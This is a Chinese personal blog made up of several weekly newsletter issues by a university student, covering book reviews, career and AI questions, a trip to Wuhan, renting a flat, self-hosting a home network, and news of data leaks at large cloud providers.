本书提出的对应取向是创造取向。本书认为创造不是环境的产物,创造不等同于解决问题,目的也不是解决问题。创造者是为了它们的造物本身而创造。

本书认为结构会带来张力,而结构产生的行为则趋向于舒缓张力。这就是 「张力 - 舒缓」系统。而生活中经常遇到张力相互冲突的结构,例如「希望减肥」vs「想吃垃圾食品」。某个结构的张力舒缓意味着另一个结构的张力加强,使得最终的行为不断摇摆。(其实类似的原理可以用化学的平衡移动模型来解释,只不过本书作者另外发明了一套语言)

为了解决这一问题,本书提出,我们可以创造一个在相互冲突的结构之上的、更具主导地位的结构。本书称为「结构性张力」(没 get 到这个命名)。它包含两个要素:

  1. 对于想要创建的成就之愿景。
  2. 对现状的清楚认识。

诗人罗伯特 · 弗罗斯特(Robert Frost)的一句话最能诠释创作取向的这种精神:「所有成就伟大事物的人,都是为了那些事物本身而放手去做的。」

书评:70 分。本书并没有提出很多切实可行的方法论。鸡汤味比较浓。

本书大量采用「小节+小标题」的形式,有的小节之间没有逻辑。据豆瓣短评:「有可能是研究生代笔的。」(不过比上周吐槽的几本「小节+无小标题」的模式要好,至少有个观点概括)建议跳着读,有的章节只要略看一眼节标题即可。

教训:阅读还是要名著优先。豆瓣 8.1 分的作品也如此不尽人意。所谓「随缘式阅读」或许更适合略读。

🤔 Q4A #3:AI 高速进化的今天,什么能力更重要?

在推上看到这样一个观点,在评论区引起了争议。

在 AI 高速进化的今天,编程能力只会越来越不重要。想法/创意,执行力,持续获取流量的能力这些最重要。我们身边已经有非常多的例子,设计师/产品经理通过 AI 的协助,可以完全抛弃工程师独立出产品了,而你还在纠结框架够不够新,够不够主流?

我做了三年职业的全栈进阶课程的老师,以前的课程核心目标都是为了帮助学员跳槽找到更好的工作,拿到更高的薪资,所以什么新学什么,还教你怎么背八股文,怎么读源码,怎么应对面试官的提问等等。

但这些对独立开发而言毫无价值!这个独立开发的课程他是以赚钱作为【唯一】目的。打工上班拧螺丝那一套在这里完全不实用,越快构建你脑海中的创意,越快开始赚钱才是王道。

—— 大帅老猿

虽然上面的说法存在争议,且只是面对独立开发的情况,但毋庸置疑的是:随着 AI 的高速发展,各种能力的重要程度优先级是有所改变的。

本周 Question For Answers #3:AI 高速进化的今天,什么能力更重要?

分类讨论:

  1. 在大厂中的职业道路。
  2. 在初创公司的职业道路。
  3. 独立开发的职业道路。

哪些能力更重要?

  • 编程开发能力
  • 学习能力
  • 沟通表达、团队协作
  • 执行力
  • 逻辑思维能力
  • 创意
  • 人际关系能力
  • ……

🤔 你觉得(随着 AI 的发展,)在大厂 / 中小厂 / 初创 / 独立开发的职业生涯中,最重要的一个 / 几个能力是什么?

🌟 Bookmarks #1

下周见!

Weekly #20:我的个人宣言 v0.1

游戏的格局越大,人类能贡献的潜能就越特别。作为人类,我们最大的优势正好就是过度专业化的对立面 —— 广泛融合各类知识的能力。

——《成长的边界》

🌆 封面图:蒸汽机车

蒸汽机车

本周去参观了中南大学铁道校区。图为该校区内陈列的蒸汽机车。

上网查了才知道校内陈列的三列机车是真实的已退役机车(而不是模型)。第一次知道原来这种机车如此庞大,车轮近一人高。

☀️ 夏日终曲

随着长沙天气一波明显的降温,能明显地感知到,夏天终于结束了

气温的变化给人体带来的感受,以及桂花的香气带来的感受,是非常感性的。我没法用言语描述出这种感觉。但它会让我回想起以前每个夏天结束的时候。秋天的夜晚,金黄色的落叶。有些不重要的场景不知为何就记得特别清晰,比如高中的晚上在教学楼走廊里和同学泡泡面吃,开水呈现出的水雾,它们带走的夏天。

都怪各种文学作品,都怪《Call Me by Your Name》这样的电影,让人对夏季有这样的执念。🥲

再见了,21 岁的夏天。👋

📃 我的个人宣言 v0.1

《高效能人士的七个习惯》中指出,要制定自己的「个人宣言」(或可称为「个人宪法」),描述自己最根本的、最核心的价值观和追求。当面临重大决策时,可以将其作为参考依据。

「个人宣言」的制定是一个长期和动态的过程。成长的过程中我们或许随时会有新的思考,我们的三观也会不断更新。所以,现在我制定的版本号是 v0.1。

我的三条核心追求,按照优先顺序排列如下:

  1. 学习 Learn。此处的学习并非局限于某一个领域的「study」,而是对万事万物、对整个世界的了解。「读万卷书,行万里路。」
  2. 创造 Create。理想的劳动应该是充分发挥自己创造力的过程。(因此,我非常讨厌刷题和考试)
  3. 影响 Influence。我们的存在应该或多或少地对这个世界产生正面的影响和改变。当然,这在目前阶段并非最主要的目标。一个人的「影响力」是需要慢慢积累的。

其他暂时未列入上面三条的追求(优先级相对较低),有:

  • 自由。能够不被拘束地做自己想做的事的权利。
  • 对自己负责的权利。我们不应被迫地让别人对我们负责。折腾 self-hosting 也是出于这样的追求:我希望自己负责我的敏感数据的安全,而非某个大厂的草台班子或实习生来负责。
  • 与他人不同。从信息论的角度来看,是我们身上与大多数人不同的那一部分,定义了我们。

想到其他的再随时更新。

📚 本周在读:《成长的边界》

成为专才还是成为通才,是个一直辩论不完的辩题。本书倾向于后者,认为不应过早和过度地一头扎入某个专业化领域,应该从宏观角度考虑自己的发展。

本书将学习环境分为两种:

  • 友好型:各种体育运动、国际象棋等,能够通过刻意练习得到提升。
  • 恶劣型:金融或政治的趋势预测,疾病诊断等,这些领域很难通过刻意练习得到稳定的提升。

前者就是本书所说的「专业化」。 通过诸如所谓的「一万小时定律」大量地在某个领域进行刻意练习,从而培养直觉。本书引证认为,这反而容易让人陷入固定的思维模式,从而无法产生变革和创新。

相比之下,后者就是通向「通才」的道路。在更宏观的复杂领域,并不是通过无脑的刻意练习就能得到提高的,需要有大局的观念和深度的思考。这才是人类独有的思维模式。

然而,我只能给这本书打 70 分。这本书有和之前读的《终身成长》一样的「美式畅销书」的毛病:大量地堆砌事例而论证太少。每一节都是以小故事开头(估计为了吸引一些低水平阅读者的注意力),逻辑和观点只是穿插在期间,很不清晰,引用太多,废话连篇。这是一种很低效的信息传达,非常不符合《金字塔原理》讲述的沟通方式。我看了一段又一段的故事,真的很急:「你到底想说什么呢?!」

我觉得其实看完第一章就够了。

📚 本周开始读:《计算》

上学期有幸听了吴翰清(道哥)来 HNU 的岳麓讲坛《一种计算主义的世界观》,并种草了他新出版的《计算》这本书。由于涉及到太多数学知识,这次讲座我其实并没有太听懂。浏览了《计算》这本书发现,这次讲座可以视为对部分书中内容的 summary。本周开始啃这本书!

这本书要回答的核心问题是:计算的原理是什么? 这是一个看似不言自明,其实很难回答的问题。我们的生活中有无数的计算,但真正面对这个问题思考的时候,我们会发现很难用语言来描述计算的定义、本质和原理。不信的话,你可以试试给「计算」下一个严谨的定义。

基于此,本书尝试讨论四个问题:

  1. 数学是发明还是发现?
  2. 无穷的本质是什么? 数学中有无穷的概念,但物理上至今并没有任何证据揭示无穷的实在。
  3. 机器能思考吗? 大脑的思维模型是离散的还是连续的?神经网络至今缺乏可解释性。
  4. 宇宙是一台计算机吗? 现代量子理论解释下世界是离散的(所有物理量是普朗克单位的整数倍),这意味着宇宙是可计算的。

仔细想想,每个问题都很有意思,并且都很难回答。

对于每个问题,就像哲学一样,学界有不同的学派和学说,不同的「主义」,有不同的回答。而本书中作者秉持的就是所谓「计算主义」,作者的解释是「一种将世间所有过程都视为计算的世界观」。

🐦 全新推特置顶帖

推特(现称 X)是个很神奇的平台,在上面可以认识很多有意思的人。

我觉得我(目前)发推的目的是:

  1. 展现我的世界观。Show myself。
  2. 与更多新朋友建立 connections。

(第一点也是为了更好地进行第二点)

自我介绍对我来说一直挺困难的,本周更新了推特置顶帖,目前内容如下:

👋

你好,我是 SkyWT。可以叫我 Sky。 很高兴认识你~

是浙江人。目前在湖南长沙上大学。 INFJ。努力感知这世界的一切。 爱好 📚阅读、🧑‍💻coding。技术栈偏前端。 爱好折腾 homelab 和 self-hosting。 超级细节控。喜欢 Apple。

我目前将自己定义为 🎨Design Engineer。 仍在积极探索职业方向。

我的个人主页和博客网站:skywt.cn 博客基本每周会更新,记录所思所想,渴望与你共鸣。欢迎访问~

社交媒体展现的只是我想让你看到的我。 相比虚拟世界的社交,我更喜欢线下面对面的沟通。如果你离我不远,不如来聊聊?☕️

💳 某大厂银行卡 CVV 泄漏传闻

最近大厂的事故真是一场接一场,并呈现危害越来越大的特征。之前只是某些云宕机几小时,后来是宕机或事故几天甚至几周,后来出现了照片泄漏等数据安全的问题,现在甚至是涉及钱的数据安全都出现问题。

参考:某团信用卡数据泄露传闻:分析与观点

上上周刚因为某云盘的照片泄漏,讨论过 ☁️ Self-hosting 的必要性。然而这次涉及金钱的这些服务并不能 self-hosting。我觉得仅有的解决方案是:尽量选择规模更大的支付平台、尽量少绑定,以及自求多福。

🤔 Q4A #2:地铁一号线标识色为什么大多选用红色?

一般来说,每条地铁都有一个标识色。去了很多城市,我发现大多数城市地铁 1 号线都不约而同选用了红色。

想象一下,你来到一座新的城市,第一次乘坐地铁,发现 1 号线是蓝色(或者黄色,或者绿色),会不会感到有些奇怪?

地铁一号线标识色为什么大多选用红色?

  1. 文化相关
    1. 中国传统文化中,红色代表庄重、喜庆。
    2. 红色在本政权中的象征意义。
  2. 物理性质:红光波长最长,最为醒目。(因此也被用于交通信号灯)
  3. 已形成的惯例:北京、上海等许多大城市都选用红色作为 1 号线标识色,已成惯例。
  4. ……(评论区 👇)

🌟 Bookmarks #0

从本周起,我尝试将各处收藏的有意思的网站资源链接也统一同步到 Weekly,方便查找。

项目:

  • color4bg.js:基于 WebGL 和 JavaScript 生成动态的抽象网页背景。

设计:

  • Patreon.com:十分具有设计感的官网。巨幅的 slogan 和全屏背景,带来的效果非常 impressive。
  • Amie.so:这个官网实在太酷了。不过技术难度也挺大。

我希望建立这样一个平台,能够聚合我的所有日记、笔记、收藏、Twitter 帖子、GitHub 动态、一闪而过的想法等等,这样写周报就方便很多。人一天接触和生产的信息太多也太散乱,如果能统一管理就好了。这篇《使用 Mastodon 搭建个人信息平台:前篇》是一个参考。

下周见~

Weekly #19:你好,武汉!

🌆 封面图:鹦鹉洲大桥

封面图:鹦鹉洲大桥

本周去武汉参加了金山校招开放日活动。这也是我第一次来武汉,顺便在武汉玩了几天!

武汉给我的第一印象就是。民国时期,国民政府将武昌、汉口、汉阳三镇合并,成为了这座超大城市,也形成了武汉「多中心」的格局。这几天花在地铁上的时间很多,花在打车上的钱也不少!

几座跨江大桥的恢弘气势,很难不让人感到宏伟壮观。

🌉 武汉的公共交通

武汉有非常丰富的公共交通形式。例如在光谷,有公交、BRT、有轨电车、地铁/轻轨。这四种交通方式运力从小到大,造价也从低到高。

武汉的 BRT 并不像厦门那样有专门的高架桥,而只是简单地划分了公交专用道。相比普通的公交车,好处是:1)车速可以更快;2)可以使用容量更大的车型;3)不受道路拥堵影响。

光谷的有轨电车是比较独特的一种公共交通。在机动车道和非机动车道之间有一条有轨电车道。一列电车很长,形似地铁。在经过路口时,电车也要和机动车一样等待红灯。相比公交和 BRT,优势是:1)车速可以更更快;2)车型容量更更大;3)不受道路拥堵影响。当然造价也更高。相比地铁的优势是造价低、更快捷。(遗憾的是,光谷电车并不支持 NFC 交通联合卡)

武汉光谷有轨电车

武汉的地铁也很特别。所有地铁站内的官方名称都是「武汉轨道交通」而不是「武汉地铁」。听武汉本地的朋友说这是出于历史原因:在最初规划时计划造轻轨,所以名为「轨道交通」;造完一号线后由于成本等种种因素,之后改建了地铁。所以目前一号线是高架轻轨,其他线都是地铁。从一号线换乘其他线路,要从地上乘坐长长的电梯到地下。

武汉轨道交通一号线

(插播一则冷知识:武汉光谷出现在地铁站名中的英文是 Optics Valley,「光学山谷」)

地铁五号线是无人驾驶的列车。首尾车厢经过单独设计,可以在车头的挡风玻璃看到车前隧道内部。非常酷!

无人驾驶的武汉地铁五号线

虽然有丰富且独特的公共交通,但武汉的道路交通还是不敢恭维。在高德地图上呈现红黑色的拥堵路段、疯狂的司机师傅、横冲直撞的非机动车,我都体会到了……和长沙一样,在武汉的路上骑车,可能有生命危险。😇

关于武汉交通还有一个不得不提的存在,那就是「萝卜快跑」,百度的无人驾驶出租车服务。它并不是如我想象的那样可以随意指定上下车地点,而是在路边有许多固定的上下车点,可以从中选择。有的小巷内没有设点,就无法在其中上下车。所以武汉的朋友说它其实类似公共交通的地位,无法解决「最后一公里」的问题。这项服务也引发了诸多问题,比如交通事故消息被压、本地司机罢工等。我本想体验一下,可惜等了十分钟都没呼叫到车……希望下次有机会体验!

🔐 Authelia:更简洁的开源 SSO 服务

之前一直用 Keycloak 作为我 self-hosted 的 SSO 系统,部署在 SkyAuth。然而 Keycloak 历史悠久,异常庞大,功能复杂,默认 UI 丑陋(一股 RedHat 风味);基于 Java 开发,自定义主题困难。作为 UI 颜控的我完全无法忍受。于是我在找寻其替代品。

本周将其换成了 Authelia。这也是一个开源的 SSO,后端基于 Go,前端基于 React,相比之下功能简洁不少,也可以方便地进行一些自定义。接下来,我希望将博客评论区集成第三方登录,如 GitHub、Google 甚至我自己的 SSO。慢慢折腾。

🤔 Q4A #1:大厂里学历对晋升的影响

秋招进行至今,已经经历了几十场面试。由于我目前无读研打算,学历将停留在本科,于是每一场的反问环节,我都有一个保留问题:「您觉得大厂里学历对晋升有影响吗?或者影响大吗?

由于不同企业内部、不同面试官的经历都有所不同,或许某一名面试官的经历不能反映普遍情况。所以我每场面试都会问,希望得到足够多的数据。

面试官对于这个问题的回答,统计结果大致如下:(只针对前端开发岗位)

  • 70%:「无影响」
    • 没有影响。学历只是「敲门砖」,进去后只看能力。
    • 就我的个人经历而言,没有感觉到影响。
    • 甚至有硕士定级比本科生低的。
    • 可能有一定相关性,但并不构成因果关系。名校出身的人大多视野更开阔、思维更敏捷。
  • 10%:「只影响入职定级」
    • 可能只会影响入职时的定级,但入职后不太会看。
  • 20%:「有影响,但不大」
    • 可能有,但微乎其微,学历只是像一个 label 贴在你身上。
    • 可能有,但你的本科也是 985,其实已经够了。
    • 可能有。但几年后的环境可能更差,你现在就业是更好的选择。
    • (笑)这个问题我可能很难回答你……

秋招是痛苦的。武汉之行被插入了五场面试。国庆终于可以好好休息一下。下周见~

Weekly #17&18:别独自用餐

你要记住,爱、互惠和知识并不像银行存款那样越用越少。创造力会激发更多创造力,金钱会带来更多金钱,知识会带来更多知识,朋友会带来更多朋友,就连成功也会引领更大的成功。最重要的是,你的付出会带来别人的付出。纵览历史,这个「生成」道理在当今社会表现得最为明显,在这样一个人际时代,世界的运行越来越合乎人际交往的准则。

无论你现在正处于人生的哪个阶段,无论你知道什么,你都要明白,你所拥有的这一切都是你的思想、经历和那些你接触的人共同促成的,而那些东西或是你亲身所得,或是你通过书籍、音乐、电子邮件或你所处的文化间接得来。现在并没有记录表明,积累要达到多少量,事物才会向越来越多的方向发展。因此从现在起你就要下定决心,开始广交朋友,积累知识、经验和人脉来帮助自己实现目标。

——《别独自用餐》

我现在觉得,在图书馆里的我才真正自由,因为在这里才能专心看书、学习、coding,才能让思维自由驰骋。在舒服的家里则不能。

上周由于中秋假期以及各种杂事,Weekly 跳过了一周。其实我上周有写了一半的一些话题,只是没能及时地在周日 24:00 之前找个时间将它们整理好发出来,所以合并到这一周发。

不过,我觉得 Weekly 还是以一周为单位更合适。这期以两周为单位,我发现有些想法被搁置了两周的时间就不想写了。得趁保鲜期把它们记录下来。

🌆 封面图:金黄色的落日

封面图:金黄色的落日

🍎 切换到 Apple Native Apps

我越来越喜欢所谓「Apple Native」的软件,即 Apple 开发的第一方软件。比如:

  • 日常重度使用 NotesRemindersCalendar 三件套,它们承担了日记本、规划表等和生活有关的一切功能。特别是 iOS18 更新后的 Calendar 能够和 Reminders 深度整合,使用体验媲美滴答清单。Notes 对 Apple Pencil 的支持也很不错,我已经停止使用 Notability 和 Goodnotes 了……
  • 主用浏览器是 Safari。虽然之前体验的 Arc 确实惊艳到我了,但使用一段时间后我还是换回了 Safari,因为它的简洁、稳定、生态集成(能自动填写验证码等)、省电省内存(相比 Chromium 内核浏览器……)。当然,为了应对 Safari 令人诟病的插件生态和某些奇怪的兼容性问题,我还是将 Chrome 作为备用浏览器。
  • 之前骂过的 Freeform,随着版本更新,功能也日趋完善。新版创建图形后能够在节点上建立连线,感觉用来画流程图可以替代 draw.io!
  • Keynote 做 PPT,(个人感觉)体验比隔壁没品的 PowerPoint 好很多。
  • 功能贫瘠但 UI 绝美的 Apple Music,这个显示歌词界面的动画真的 only Apple can do!

之所以喜欢 Apple Native Apps,最大的原因是它们高度统一的设计语言。Windows 和各种 Linux 发行版,功能或许都更加丰富,各种软件都有更多选择,然而有这样一种东西只有 Apple 能够实现:统一的设计语言。不同开发者创造的产品可能各有各的好,但 UI/UX 永远不可能统一;Windows 和 Android 等不同操作系统,用户体验的统一更是天方夜谭。只有 Apple 掌控着自己的各个平台能够达到 UI/UX 极致的统一。

此外,我还希望保证软件(包括数据)的可用性。那些我不信任的开发者,我会担心他们公司倒闭或跑路,或者某天软件曝出重大安全问题,或者乱七八糟的版本更新毁了我的体验(典例:Memos)。软件服务就是如此脆弱。因此,我使用的所有软件服务,要么技术细节彻底对我完全可见可控(比如 Typora 结合 Git 管理笔记文件;比如我的各种 self-hosted 开源服务),我可以通过手动管理数据保证其稳定性;要么是一个我信任的提供商,技术细节彻底无需我关心(比如 Apple 的软件)。Apple 的软件向来有这样一种设计思想:对用户隐藏一切技术细节。这点我也很喜欢。

此外还有独有的 Apple 生态的联动,包括 iCloud 跨端同步、和 Shortcuts 的整合等等。总之,我确实已经陷入 Apple 生态无法自拔了 😭。

🧑‍💻 Zed 使用体验

众所周知,最近 Cursor 这款 IDE 非常火爆。因此,我从 VSCode 换到了……Zed!(开玩笑,其实没有因果关系)现在我已经将 Zed 作为我的主力 IDE。

换到 Zed 的第一个感觉就是流畅,干什么都快。相比之下,VSCode 实在太卡了。虽然 VSCode 相比其他 Electron-based 桌面端软件已经做了很充足的优化,但毕竟是 Electron,还是和 Zed 这类 Native 得应用没法比。体验了 Zed 的流畅,我再也回不去了。

此外,Zed 还异常简洁。随着插件的增多,VSCode 的配置越来越复杂,各种配置冲突和莫名其妙的问题也经常遇到,带来了很大的心智负担。VSCode 的插件系统的生态堪比一个操作系统,然而作为一个 IDE 真的需要这些吗?诸如 API 管理、容器管理这样的插件,用命令行或者独立的应用都能更好地完成。相比之下,我更喜欢 Zed 这种回归 IDE 本源的简洁设计。IDE 的核心功能应该只有一个:coding。Zed 很符合我钟爱的极简主义美学!

至于 AI 功能,当然目前没有 IDE 比得上 Cursor。Cursor 的 AI 确实惊艳,但我个人认为它更适合快速从零开始创建一个项目,而对于现存比较大的项目的继续开发,我更偏向于手写。Zed 能够使用 GitHub Copilot,也支持接入自己的 API,对我而言也够用了。

除此之外,Zed 简洁有设计感的 UI 也是打动我的一部分。😁

☁️ Self-hosting 的必要性

本周阿里云盘出现了史诗级的故障:**用户通过 bug 能够看到其他用户云盘中存储的照片。**在各大社区都有帖子,揭示该 bug 能够 100% 轻易地复现。能看到的图片甚至包括发票单据、私人照片等敏感信息。

虽然最近各种云的故障频频发生,腾讯云、网易云、金山都出现过事故,阿里云也刚刚出现新加坡机房火灾的事件,但这些都只涉及可用性,代价无非是一段时间服务无法访问。然而,此次阿里云盘的事故,却关系到数据安全性,比之前一切事故都严重得多。至今,只有少数媒体的简短报导(并一律以「官方已解决」为结局戛然而止),显然是经过了公关。而阿里云盘官方至今没有给出任何回应。(最近真是该厂的多事之秋:新加坡机房着火;云盘出现这样的事故;飞猪平台又被曝市监局短信事件……)

这件事情再次提醒我们数据安全的重要性,尤其严重的是它居然发生在这样一个我以前十分信任的产品上。不过,换个角度想,别的云盘,乃至一切我目前信任的云服务,都可能出现类似的问题。这次只是阿里云盘的照片出问题,下一次万一是我主用的 iCloud 呢?万一是更敏感的密码管理器呢?

因此,对于重要的数据,特别是密码这类敏感的数据,我一定会选择自己部署 self-hosted 的开源软件服务,例如 vaultWarden。虽然也有一定的风险,但至少数据安全由我自己负责,而不是由什么草台班子负责。

😡 愤怒能够消解抑郁情绪

本周经历了一次极差的面试体验。面试官首先没问我的任何项目,直接问了八股;在我明确表示对他所问的话题了解不多时,他还继续针对这一问题穷追不舍地问。最过分的是,由于我很多问题没回答上来,(按我的理解)面试官几次隐晦地表达了讽刺和贬低的意思。事后想想感觉被 PUA 了,或许这就是 KPI 面。

当然,刚面完这场的时候我的情绪是非常沮丧的,毕竟事实是我没能回答上来很多问题。差点就陷入了一种自我否定的情绪。结果和朋友狠狠吐槽了一通这个面试官,将我的情绪转变成愤怒。骂完之后我发现自己的情绪好多了,刚才的沮丧和抑郁居然减轻了不少。

想起来《蛤蟆先生去看心理医生》提到过:愤怒是一种很必要和健康的情绪;性格暴躁的人往往是不会得抑郁症的。适当的时候,愤怒确实能够很好地调节情绪,避免内耗。

以后要多愤怒,少内耗!😡😡😡

📚 本周在读:《别独自用餐》

《别独自用餐》,我称之为「当代社交指南」。

本书指出了人际关系的重要性。「经济潮涨潮落,友谊地久天长。」在经济快速变化的时代(无论是发展还是衰退),今天的财富、职业、权力可能随时灰飞烟灭,只有真正的友谊不会。许多信息也并不存在互联网上,只能通过人去获取掌握。(上周的《远见》中,也提到了人脉对职业生涯的重要性)参加了 Advx 之类的活动,和越来越多的人交流,我其实也越来越认识到社交的重要性。这和所谓 i 人 e 人无关,与人沟通、建立 connections,是成功的职业生涯和生活的必需品。

本书提出,要有策略和有目的地进行社交,制定自己的社交 OKR 和「行动计划」,将其作为自己的一项任务去严肃地执行。(这让我想起来《远见》中的这个观点:把每次聊天都当成一场面试)

在学校里,尤其在我们信息院,会主动社交的人太少了,大多数都是所谓的传统「理工男」。这导致一直以来我也对这样的环境习以为常,没能了解到社交的重要性,也不知道如何去社交。而参加各种活动之后,以及参考了这些书里的各种事例和许多技巧,我能观察学习到别人的社交模式,认识新朋友变得不那么难了。

我发现我的「社交舒适区」就是线下的 1v1 聊天。如果陌生人很多我可能会不自然,但线下 1v1 我一般都能比较放松。当然,内向和外向的人充电方式是不同的,超高强度的社交对我来说是无法忍受的。找到自己的「舒适区」十分重要。(比如,我不可能像本书标题所说那样,不「独自用餐」!)

我将社交作为本 gap year 的年度核心任务之一。

你要记住,爱、互惠和知识并不像银行存款那样越用越少。创造力会激发更多创造力,金钱会带来更多金钱,知识会带来更多知识,朋友会带来更多朋友,就连成功也会引领更大的成功。最重要的是,你的付出会带来别人的付出。纵览历史,这个「生成」道理在当今社会表现得最为明显,在这样一个人际时代,世界的运行越来越合乎人际交往的准则。

无论你现在正处于人生的哪个阶段,无论你知道什么,你都要明白,你所拥有的这一切都是你的思想、经历和那些你接触的人共同促成的,而那些东西或是你亲身所得,或是你通过书籍、音乐、电子邮件或你所处的文化间接得来。现在并没有记录表明,积累要达到多少量,事物才会向越来越多的方向发展。因此从现在起你就要下定决心,开始广交朋友,积累知识、经验和人脉来帮助自己实现目标。

🤔 Q4A #0:为什么你的岗位好像螺丝钉?

这是一个全新的栏目:Questions For Answers,简称 Q4A

实习的时候一次主管和我谈话,当时我有很强烈的一种感受:我其实有很多想问的问题,但一时想不起来了。然而,这种交流机会其实并不多,错过了就是错过了,没能抓住机遇了解这些问题会非常可惜。所以,我在记事本里专门开了个文件夹:Questions,记录我想要了解的问题,这样可以持续思考,随时准备向合适的人寻找答案。

本周 Q4A #0:为什么你的岗位好像螺丝钉? 似乎很多人都有这样的感受:我们在岗位上好像一颗螺丝钉,每天做着一个又一个的需求,工作无需任何创造力,像是简单重复的机械劳动,且可以被替换。为什么呢?

  • A. 这是(较低端)研发岗位的特性。研发岗和计算机打交道多,与人打交道少,「社会性」更低,意味着更容易被取代;许多业务需求(尤其在前端领域)难度不大,门槛低,难以形成技术壁垒。
  • B. 这是特定大厂文化使然。国内许多大厂并不重视企业、团队价值观与文化认同,只将员工作为工具人使用(因此,大量使用外包 / 内包员工),员工也缺乏归属感和意义感。
  • C. 这是现代企业制度使然。工业社会越来越细分的分工,(按照马克思所言)使得人与工作的关系被异化了。参考阅读:《Bullshit Jobs 毫无意义的工作》。
  • D. 这是个人能力不足的体现。真正有能力的人应该自己主动「结合对业务的思考」,在业务中获得技术沉淀,形成个人优势,找寻个人价值。
  • E. 其他原因。👇 评论区。

我的实习工作经历实在太少了,认识还不多,以上只是我的猜想,不一定对。你觉得呢?🤔

下周见!

Weekly #16:年轻人的第二次租房

🌆 封面图:傍晚的月色

封面图:傍晚月色

🏠 年轻人的第二次租房

本周回到长沙,忙着租房和布置新房,在长沙 39 度的烈日炎炎之下搬东西,累死了!

这是我的第二次租房。之前的第一次租房,差不多是在去年的这个时候,当时还没有写 Weekly,所以没有留下什么特别的印记。其实租房的过程还是挺折腾的。

租房的考虑要点

有了第一次租房的经验,我这次看房的时候,列出了关于租房要考虑的要点的 checklist:

  • 要有独立卫浴
  • 空调(功率、品牌型号)
  • 洗衣机(品牌型号)
  • 要有洗手池和镜子
  • 窗户采光,能方便地晾衣服
  • 能自己装宽带
  • 桌子足够大、有足够空间放路由器和椅子
  • 衣柜足够大
  • 整体卫生程度
  • 楼栋(是否吵闹、交通便利性)

测甲醛!

签完合同到房间里坐了一会,感觉有一点异味,是一种装修的气息。由于墙壁地板都看起来很新,我开始怀疑会不会是刚装修的房屋,可能有甲醛超标的情况。上网搜了一下,遇到这种情况的租客还不少。甚至有的租客在这样的房子里住了不到一年,由于吸入过多有毒气体,身患白血病离世!

为了确保安全,我在京东上买了两盒甲醛试剂盒测试。国家标准是 0.08,测试结果正是 0.08 上下,尚且处于安全范围,虚惊一场。然而我查到欧盟的标准是 0.03……为了健康起见,买了一台米家空气净化器。

虽然我没踩雷,但启示是:租房一定要问清楚装修时间,考虑甲醛等状况。如果确实有重度甲醛超标,维权起来是挺麻烦的。毕竟试剂盒的检测结果无法律效力,如果确实要证明甲醛超标,需要请专业的检测机构,价格不菲。即使确实能证明超标,一般只能和房东协商或者请中介、住管局调解。调解不成可以起诉,但起诉过程冗长,费时费力。不过,如果走到了起诉这一步,一般是能赢的。《民法典》七百三十一条:

租赁物危及承租人的安全或者健康的,即使承租人订立合同时明知该租赁物质量不合格,承租人仍然可以随时解除合同。

每一次租房都是踩坑的历程!

洗洗衣机!

签完合同当天,预约了某品牌当晚的家政服务,上门清洗洗衣机和空调。当我怀疑有甲醛时,我想着第二天先用试剂盒测试一下,如果有问题可能就不入住了,于是在小程序上取消了预约。结果这个师傅打电话来,说我这边取消预约他们会被罚款!

第二天晚测完甲醛发现没问题,我还是让这个师傅上门了。

师傅告诉我,我取消了订单,他被主管点名批评,罚款了 100 元。(当然他说明了这都不怪我,都是这个恶心的平台的问题)讽刺的是,我看他点开了熟悉的钉钉,那句熟悉的「让进步发生」……他干脆申请了停工一天,这次上门给我服务是不经过平台的。我还是付一样的钱款,只是私下微信转账给他。

这个师傅看起来也没比我大多少。洗洗衣机的时候聊了几句,他谈到他在学校和同学打架,没能上大学,现在只能学一些简单的技术。我说到现在我们大学生找工作也不容易,他惊讶地说:「你们湖南大学,985!找工作还难?」

我很少接触这些比较底层的人们。感觉到一种巨大的鸿沟。他们是我们平常看不见的人。他们没有受过良好的教育,被平台压迫,在时代中苟活。我无法想象这样的生活。

并且,我可能不会再预约该品牌的家政服务了。

装宽带!

我看房的时候就和中介提出了这一要求:一定要能自己装宽带。因为自己装宽带才能用自己的路由器,折腾 OpenWRT 等各种东西,才能有自己的网络基础设施

联系了联通的上门宽带安装,奇怪的是客户经理居然让我把安装费用直接微信转给她,而不是通过官方的平台(虽然我查了价格是一样的)。于是我要求等师傅上门装完了再转账。2024 年的联通居然在使用这种基于信任的交易方式…… 🤔

属于我的网络基础设施

有了宽带,终于能够重启我的网络基础设施

首先是之前自己搭的 Headscale。这是运行在我的腾讯云服务器上的 Tailscale 服务端软件。通过它建立 VPN,我的所有设备可以连通在一起,无论何时何地我都能访问到家里的任何设备,就像在一个局域网内一样。

其次是我的树莓派。目前跑着 HomeBridge,提供米家空调伴侣和空气净化器对 Apple HomeKit 的支持,这样就可以通过 Siri 控制它们(米家台灯则默认支持 HomeKit)。未来还可以用来做旁路由,还有各种玩法……

最后是我的迷你主机,零刻 SER6 Pro Vest。我在上面跑了 PVE,同时运行着 Windows 11 和 Debian 的虚拟机。

  • Windows 11 可 RDP 远程桌面,通过前述 VPN 可以在任何地方远程访问到。还配了显卡直通,在家的话可以直接接显示器玩游戏。
  • Debian 则可以方便地作为本地开发服务器,这样就不用在我可怜的 MacBook Air 上跑一堆容器了。
  • 未来还打算试试跑个黑群晖,让它兼具 NAS 的功能!

有这样 24 小时 online 的主机真的超酷的!就好像在互联网上有个家一样。

新布置的桌面!

孤独解决方案

一个人租房,遇到问题难免有一种无助的感觉。

在杭州习惯了亲橙客栈每天刷脸进出的体验,回到长沙之后我居然两次忘带了钥匙……第一次是落在酒店房间里,我从酒店赶到出租房楼下才发现,于是在烈日炎炎之下回到酒店去拿钥匙。第二次是搬东西的时候落在出租房里,幸亏房东有备用钥匙……

刚签完合同那几天,长沙 39 度的高温,在这种温度下我得搬东西,来回赶,在户外没几分钟就汗流浃背了。这样的高温也难免会使人在生理上有严重的不适(至少对我而言是这样),无法冷静地思考,无法控制情绪。

好在这一切都是暂时的。现在我的出租房终于都 setup 了。一个人住确实很舒服,很自由,除了时常感到孤独。

有没有什么独居应对孤独的解决方案呢?

📚 本周在读:《你不知道的 JavaScript》

你是否也曾对解答各种各样的为什么很上瘾?大多数孩子都会。事实上,这可能是孩子身上我最喜欢的地方 —— 求知欲很强。

很遗憾,现在我从事着一份专业性的工作,并以制作一些东西来度日。而我儿时的梦想是有一天能够制作那些被我拆开过的东西。当然,现在我所制作的大部分东西都是用 JavaScript 做成的,而不是铁氧体棒……但它们很相似!尽管我曾经一度非常热爱制作东西,但是现在却更渴望了解事物的运行原理。我经常寻找解决向题或修复 bug 的最佳方法,却很少花时间来研究我所使用的工具。

